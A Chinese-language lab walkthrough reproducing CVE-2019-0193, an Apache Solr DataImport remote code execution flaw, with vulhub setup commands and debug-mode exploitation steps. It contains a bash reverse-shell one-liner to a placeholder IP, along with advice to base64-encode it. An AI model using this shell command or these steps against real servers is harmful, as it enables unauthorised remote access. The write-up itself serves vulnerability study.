Apache Solr 远程执行漏洞 CVE-2019-0193

漏洞描述

2019 年 08 月 01 日,Apache Solr 官方发布预警,Apache Solr DataImport 功能 在开启 Debug 模式时,可以接收来自请求的”dataConfig”参数,这个参数的功能与data-config.xml 一样,不过是在开启 Debug 模式时方便通过此参数进行调试,并且 Debug 模式的开启是通过参数传入的。在 dataConfig 参数中可以包含 script 恶意脚本导致远程代码执行。

影响版本

Apache Solr < 8.2.0

环境搭建

https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-0193
docker-compose build
docker-compose up -d

# 创建一个solr核心test
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

访问 http://xxx.xxx.xxx.xxx:8983/solr/ 正常即可

漏洞复现

点击刚刚创建的test进入调试

将下面的POC代码填入 Debug-Mode 中

注意 POC 执行的代码中的base64字符串的位置请置换成自己的ip地址并base64加密填入

bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1

直接如上写入反弹无反应,不稳定,需要base64加密写才能反弹一个shell

点击EXecute执行代码

成功反弹shell

漏洞利用POC

POC不支持反弹shell,如需反弹shell,请按如上步骤反弹shell

参考文章

apache solr远程代码执行漏洞(cve-2019-0193)

Last updated

Was this helpful?